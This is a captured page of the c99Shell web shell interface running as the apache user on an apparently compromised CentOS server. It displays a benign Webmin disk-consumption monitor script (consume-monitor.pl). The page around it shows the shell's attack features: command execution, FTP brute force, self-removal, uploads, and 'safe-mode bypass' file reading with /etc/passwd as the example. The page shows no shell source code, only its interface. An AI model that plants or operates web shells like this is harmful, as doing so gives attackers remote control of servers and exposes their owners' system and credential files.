!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/status/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     consume-monitor.pl (1.89 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# consume-monitor.pl
# Check the rate at which disk space is being consumed on some filesystem

sub get_consume_status
{
return { 'up' => -1 } if (!&foreign_check("mount", 1));
&foreign_require("mount", "mount-lib.pl");
local $m;
foreach $f (&mount::list_mounted()) {
    $m = $f if ($f->[0] eq $_[0]->{'fs'});
    }
local %consume;
&read_file("$module_config_directory/consume", \%consume);
if ($m) {
    local @sp = &mount::disk_space($m->[2], $m->[0]);
    local $now = time();
    local ($lastfree, $lasttime) = split(/\s+/, $consume{$_[0]->{'fs'}});
    local $rv = { 'up' => 1 };
    if ($lasttime) {
        # Compare with last time
        local $diff = ($lastfree - $sp[1]) / ($now - $lasttime);
        if ($diff > $_[0]->{'rate'}) {
            $rv = { 'up' => 0,
                'desc' => &text('consume_high',
                        &nice_size($diff*1024)) };
            }
        $rv->{'value'} = $diff*1024;
        $rv->{'nice_value'} = &nice_size($diff*1024);
        }
    $consume{$_[0]->{'fs'}} = "$sp[1] $now";
    &write_file("$module_config_directory/consume", \%consume);
    return $rv;
    }
else {
    return { 'up' => -1,
         'desc' => $text{'space_nofs'} };
    }
}

sub show_consume_dialog
{
&foreign_require("mount", "mount-lib.pl");
local @mounted = &mount::list_mounted();
local ($got) = grep { $_->[0] eq $_[0]->{'fs'} } @mounted;
print &ui_table_row($text{'space_fs'},
    &ui_select("fs", !$_[0]->{'fs'} ? $mounted[0]->[0] :
             !$got ? "" : $_[0]->{'fs'},
           [ (map { [ $_->[0] ] } @mounted),
             [ "", $text{'space_other'} ] ])."\n".
    &ui_textbox("other", $got ? "" : $_[0]->{'fs'}, 30),
    3);

print &ui_table_row($text{'consume_rate'},
    &ui_bytesbox("rate", $_[0]->{'rate'}*1024));

}

sub parse_consume_dialog
{
&depends_check($_[0], "mount");
if ($in{'fs'}) {
    $_[0]->{'fs'} = $in{'fs'};
    }
else {
    $in{'other'} =~ /^\// || &error($text{'space_eother'});
    $_[0]->{'fs'} = $in{'other'};
    }
$in{'rate'} =~ /^[0-9\.]+$/ || &error($text{'consume_erate'});
$_[0]->{'rate'} = $in{'rate'}*$in{'rate_units'}/1024;
}

1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--